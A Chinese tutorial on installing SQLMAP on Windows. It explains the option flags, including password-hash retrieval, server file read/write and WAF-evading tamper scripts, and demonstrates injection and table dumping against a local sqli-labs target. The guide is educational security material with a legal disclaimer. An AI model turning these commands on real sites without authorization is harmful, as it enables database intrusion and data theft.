Windows下SQLMAP的下載安裝和使用過(guò)程
免責(zé)聲明
本文所提供的文字和信息僅供學(xué)習(xí)和研究使用,請(qǐng)讀者自覺(jué)遵守法律法規(guī),不得利用本文所提供的信息從事任何違法活動(dòng)。本文不對(duì)讀者的任何違法行為承擔(dān)任何責(zé)任。工具來(lái)自網(wǎng)絡(luò),安全性自測(cè),如有侵權(quán)請(qǐng)聯(lián)系刪除。
注意:SQLMAP 這樣的工具在合法的安全測(cè)試和研究環(huán)境之外的使用可能是非法的和不道德的。在實(shí)際應(yīng)用中,應(yīng)該在授權(quán)和合法的情況下使用它來(lái)幫助發(fā)現(xiàn)和修復(fù)系統(tǒng)中的安全漏洞,以提高系統(tǒng)的安全性。

1. SQLMAP下載安裝
1.1. 介紹
SQLMAP是一種開(kāi)源滲透測(cè)試工具,可自動(dòng)執(zhí)行SQL注入缺陷的檢測(cè)和注入過(guò)程,并接管數(shù)據(jù)庫(kù)服務(wù)器。它有強(qiáng)大的檢測(cè)引擎,針對(duì)不同類(lèi)型的數(shù)據(jù)庫(kù)提供多樣的滲透測(cè)試功能選項(xiàng),實(shí)現(xiàn)數(shù)據(jù)庫(kù)識(shí)別、數(shù)據(jù)獲取、訪問(wèn)DBMS\操作系統(tǒng)甚至通過(guò)帶外數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)的命令,以及從數(shù)據(jù)庫(kù)指紋識(shí)別、從數(shù)據(jù)庫(kù)獲取數(shù)據(jù)、 通過(guò)帶外連接在操作系統(tǒng)上執(zhí)行命令。
1.2. 支持的數(shù)據(jù)庫(kù)
SQLMAP 支持檢測(cè) MySQL 、 Oracle 、 PostgreSQL 、 MSSQL( Microsoft SQL Sever ) 、 Access ( Microsoft Access )、 IBM DB2 、SQLite、 Firebird、Sybase 和 SAP MaxDB 等
1.3. 支持的注入方式
分別是:布爾盲注、時(shí)間盲注、報(bào)錯(cuò)注入、聯(lián)合查詢(xún)、堆疊注入
1.4. 下載安裝
SQLMap的安裝依賴(lài)于Python環(huán)境,所以需要事先安裝好Python,若沒(méi)有安裝請(qǐng)看在Windows下載、安裝Python和配置環(huán)境(新手、保姆級(jí)教程)-CSDN博客
SQLMAP的官方網(wǎng)站:https://sqlmap.org/
Windos系統(tǒng)下載 zip格式,Linux系統(tǒng)下載 .tar.gz格式。

提前在D盤(pán)新建一個(gè)文件夾,重命名最好為英文,下載解壓縮之后進(jìn)入sqlmap的文件夾,在此文件夾中打開(kāi)控制臺(tái)( 可以在上方地址欄輸入cmd回車(chē)快速打開(kāi) )
輸入命令python sqlmap.py或python sqlmap.py -h檢驗(yàn)是否成功,出現(xiàn)如圖所示界面就代表成功了。

注意:如果報(bào)錯(cuò)就檢查一下環(huán)境變量是否配置成功;如果是沒(méi)反應(yīng)到python文件夾查看 python.exe 的名字,如果名字是 python2.exe或python3.exe,則命令就是python3 sqlmap.py
2. SQMAP的命令參數(shù)
2.1. sqlmap基本參數(shù)
這些是sqlmap的基本參數(shù)
-d 指定直接數(shù)據(jù)庫(kù)連接得連接字符串,直接連接到數(shù)據(jù)庫(kù)。 -u 指定URL目標(biāo) -I 從Burp或WebScarab代理得日志中解析目標(biāo) -m 掃描文本文件中給出得多個(gè)目標(biāo),批量掃描 -r 從文本中加載HTTP請(qǐng)求。 用 * 標(biāo)記注入位置 -g 將Google Dork得結(jié)果作為目標(biāo)URLh
這些參數(shù)可用于調(diào)整具體的 SQL 注入測(cè)試
-a 獲取所有信息 -current-user 獲取DBMS當(dāng)前用戶(hù) --current-db 獲取DBMS當(dāng)前數(shù)據(jù)庫(kù) --hostname 獲取DBMS當(dāng)前主機(jī)名 --is-dba 檢測(cè)當(dāng)前用戶(hù)是否為管理員用戶(hù) --users 查詢(xún)DBMS用戶(hù) --passwords 查詢(xún)DBMS用戶(hù)密碼hash --dbs 查詢(xún)DBMS數(shù)據(jù)庫(kù) --tables 查詢(xún)DBMS數(shù)據(jù)庫(kù)中得表 --columns 查詢(xún)DBMS數(shù)據(jù)庫(kù)表得列名 --dump 查詢(xún)轉(zhuǎn)儲(chǔ)DBMS數(shù)據(jù)庫(kù)表 --dump-all 轉(zhuǎn)儲(chǔ)DBMS所有數(shù)據(jù)庫(kù)表 -D db_name 指定要求枚舉的DBMS數(shù)據(jù)庫(kù)名 -T table_name 指定要枚舉得DBMS表 -C column_name 指定要枚舉得DBMS列 --batch 從不詢(xún)問(wèn)用戶(hù)輸入,使用所有默認(rèn)配置
2.2. sqlmap進(jìn)階參數(shù)
--data=DATA 通過(guò)POST方式發(fā)送數(shù)據(jù)字符串 --cookie=COOKIE HTTP Cookie頭 LMXCMS演示 --user-agent=AGENT 指定HTTP User-Agent頭 --random-agent 使用隨機(jī)選定得HTTP User-Agent頭 --host=HOST 指定HTTP HOST header --referer=REFERER 指定HTTP Referer header --ignore-proxy 忽略系統(tǒng)默認(rèn)代理配置 --proxy=PROXY 使用代理連接目標(biāo)URL --proxy=" http://127.0.0.1:8080" --delay=DELAY 可以設(shè)定兩個(gè)請(qǐng)求間得延遲 --timeout=TIMEOUT 可以設(shè)定一個(gè)請(qǐng)求超過(guò)多久判定為超時(shí) --force-ssl 強(qiáng)制使用SSL/HTTPS --threads=THREADS HTTP(s)最大并發(fā)請(qǐng)求數(shù)(默認(rèn)是1) --dbms=DBMS 強(qiáng)制指定后端DBMS --os=OS 強(qiáng)制指定后端得DBMS操作系統(tǒng) --tamper 使用給定得腳本修改注入數(shù)據(jù)
這些參數(shù)可用于自定義階段檢測(cè)探測(cè)選擇
--level=LEVEL 測(cè)試等級(jí)(1-5, default 1) --risk=RISK 測(cè)試的風(fēng)險(xiǎn)等級(jí)(1-3, default 1) --technique 來(lái)指定要使用哪種注入模式,快速掃描
2.4 訪問(wèn)文件系統(tǒng)
--file-read=文件路徑 從后端的數(shù)據(jù)庫(kù)管理系、統(tǒng)文件系統(tǒng)讀取文件 --file-write=文件路徑 編輯后端的數(shù)據(jù)庫(kù)管理系統(tǒng)、文件系統(tǒng)上的本地文件 --file-dest=文件路徑 后端的數(shù)據(jù)庫(kù)管理系統(tǒng)、寫(xiě)入文件的絕對(duì)路徑
使用條件
- 知道網(wǎng)站的絕對(duì)路徑
- 高權(quán)限數(shù)據(jù)庫(kù)用戶(hù)
- secure_file_priv=''無(wú)限制
2.5 tamper繞過(guò)
--tamper=base64encode.py --tamper=test.py space2comment.py 用/**/代替空格 apostrophemask.py 用utf8代替引號(hào) equaltolike.py like代替等號(hào) space2dash.py 繞過(guò)過(guò)濾‘=' 替換空格字符(”),('–‘)后跟一個(gè)破折號(hào)注釋?zhuān)粋€(gè)隨機(jī)字符串和一個(gè)新行('n') greatest.py 繞過(guò)過(guò)濾'>' ,用GREATEST替換大于號(hào)。 space2hash.py 空格替換為#號(hào),隨機(jī)字符串以及換行符 apostrophenullencode.py 繞過(guò)過(guò)濾雙引號(hào),替換字符和雙引號(hào)。 halfversionedmorekeywords.py 當(dāng)數(shù)據(jù)庫(kù)為mysql時(shí)繞過(guò)防火墻,每個(gè)關(guān)鍵字之前添加mysql版本評(píng)論 space2morehash.py 空格替換為 #號(hào) 以及更多隨機(jī)字符串 換行符 appendnullbyte.py 在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼 ifnull2ifisnull.py 繞過(guò)對(duì)IFNULL過(guò)濾,替換類(lèi)似'IFNULL(A,B)'為'IF(ISNULL(A), B, A)' space2mssqlblank.py (mssql)空格替換為其它空符號(hào) base64encode.py 用base64編碼替換 space2mssqlhash.py 替換空格 modsecurityversioned.py 過(guò)濾空格,包含完整的查詢(xún)版本注釋 space2mysqlblank.py 空格替換其它空白符號(hào)(mysql) between.py 用between替換大于號(hào)(>) space2mysqldash.py 替換空格字符(”)(' – ‘)后跟一個(gè)破折號(hào)注釋一個(gè)新行(' n') multiplespaces.py 圍繞SQL關(guān)鍵字添加多個(gè)空格 space2plus.py 用+替換空格 bluecoat.py 代替空格字符后與一個(gè)有效的隨機(jī)空白字符的SQL語(yǔ)句,然后替換=為like nonrecursivereplacement.py 雙重查詢(xún)語(yǔ)句,取代SQL關(guān)鍵字 space2randomblank.py 代替空格字符(“”)從一個(gè)隨機(jī)的空白字符可選字符的有效集 sp_password.py 追加sp_password'從DBMS日志的自動(dòng)模糊處理的有效載荷的末尾 chardoubleencode.py 雙url編碼(不處理以編碼的) unionalltounion.py 替換UNION ALLSELECT UNION SELECT charencode.py url編碼 randomcase.py 隨機(jī)大小寫(xiě) unmagicquotes.py 寬字符繞過(guò) GPCaddslashes randomcomments.py 用/**/分割sql關(guān)鍵字 charunicodeencode.py 字符串 unicode 編碼 securesphere.py 追加特制的字符串 versionedmorekeywords.py 注釋繞過(guò) space2comment.py 替換空格字符串(‘‘) 使用注釋‘/**/' halfversionedmorekeywords.py 關(guān)鍵字前加注釋
3. SQLMAP的基本使用
我們以本地搭建的sql-labs靶場(chǎng)網(wǎng)址作為注入點(diǎn)測(cè)試
目標(biāo)注入點(diǎn)是:
http://127.0.0.1/sqli-labs-master/Less-1/
3.1. 判斷是否存在注入
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"

出現(xiàn)這個(gè)就表示存在漏洞,分別存在布爾注入、報(bào)錯(cuò)注入、時(shí)間注入、union聯(lián)合注入
3.2. 判斷當(dāng)前用戶(hù)是否為dba
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --is-dba
3.3. 查看數(shù)據(jù)庫(kù)用戶(hù)
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user
3.4. 查看所有數(shù)據(jù)庫(kù)
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

3.5. 查看當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

3.6. 查詢(xún)當(dāng)前數(shù)據(jù)庫(kù)的表
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫(kù)名 --tables

3.7. 查詢(xún)表中的字段名
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫(kù)名 -T 表名 --columns

3.8. 查詢(xún)字段下的數(shù)據(jù)
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫(kù)名 -T 表名 --dump

本人發(fā)布、轉(zhuǎn)載的文章中所涉及的命令、技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途及盈利等目的,否則后果自行承擔(dān)!?。。?!
到此這篇關(guān)于SQLMAP的下載安裝和使用(Windows)的文章就介紹到這了,更多相關(guān)SQLMAP下載安裝使用內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
關(guān)于WebSocket協(xié)議狀態(tài)碼解析
這篇文章主要介紹了關(guān)于WebSocket協(xié)議狀態(tài)碼的使用方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2025-04-04
HTTP請(qǐng)求首部字段及響應(yīng)首部字段詳解
這篇文章主要介紹了HTTP請(qǐng)求首部字段及響應(yīng)首部字段,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2024-06-06
VSCode設(shè)置網(wǎng)頁(yè)代碼實(shí)時(shí)預(yù)覽的實(shí)現(xiàn)
這篇文章主要介紹了VSCode設(shè)置網(wǎng)頁(yè)代碼實(shí)時(shí)預(yù)覽的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-04-04
Git推送代碼遭遇403?Forbidden錯(cuò)誤的原因和解決方法
這篇文章主要介紹了Git推送代碼時(shí)遇到403Forbidden錯(cuò)誤的原因和解決方法,常見(jiàn)原因包括權(quán)限不足、認(rèn)證方式錯(cuò)誤、本地配置問(wèn)題等,解決方法包括聯(lián)系項(xiàng)目管理員申請(qǐng)權(quán)限、使用Fork+MergeRequest流程參與協(xié)作、以及配置SSH密鑰等,需要的朋友可以參考下2025-10-10
基于 Serverless +企業(yè)微信打造 nCoV 疫情監(jiān)控小助手
這篇文章主要介紹了基于 Serverless +企業(yè)微信打造 nCoV 疫情監(jiān)控小助手,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-02-02
Kali滲透測(cè)試之使用Metasploit對(duì)Web應(yīng)用的攻擊
這篇文章主要介紹了Kali滲透測(cè)試:使用Metasploit對(duì)Web應(yīng)用的攻擊,這種漏洞源于Web應(yīng)用程序沒(méi)有對(duì)用戶(hù)輸入的內(nèi)容進(jìn)行準(zhǔn)確的驗(yàn)證,從而導(dǎo)致操作系統(tǒng)執(zhí)行了攻擊者輸入的命令,需要的朋友可以參考下2022-05-05
git大倉(cāng)庫(kù)拉取卡頓問(wèn)題排查與解決方法
在大倉(cāng)庫(kù)中執(zhí)行 git fetch 或 git pull 遲遲沒(méi)有反應(yīng),通常是由網(wǎng)絡(luò)問(wèn)題、數(shù)據(jù)量過(guò)大導(dǎo)致內(nèi)存/緩沖區(qū)溢出、或認(rèn)證卡死引起的, 下面我們就來(lái)看如何排查和解決吧2026-05-05

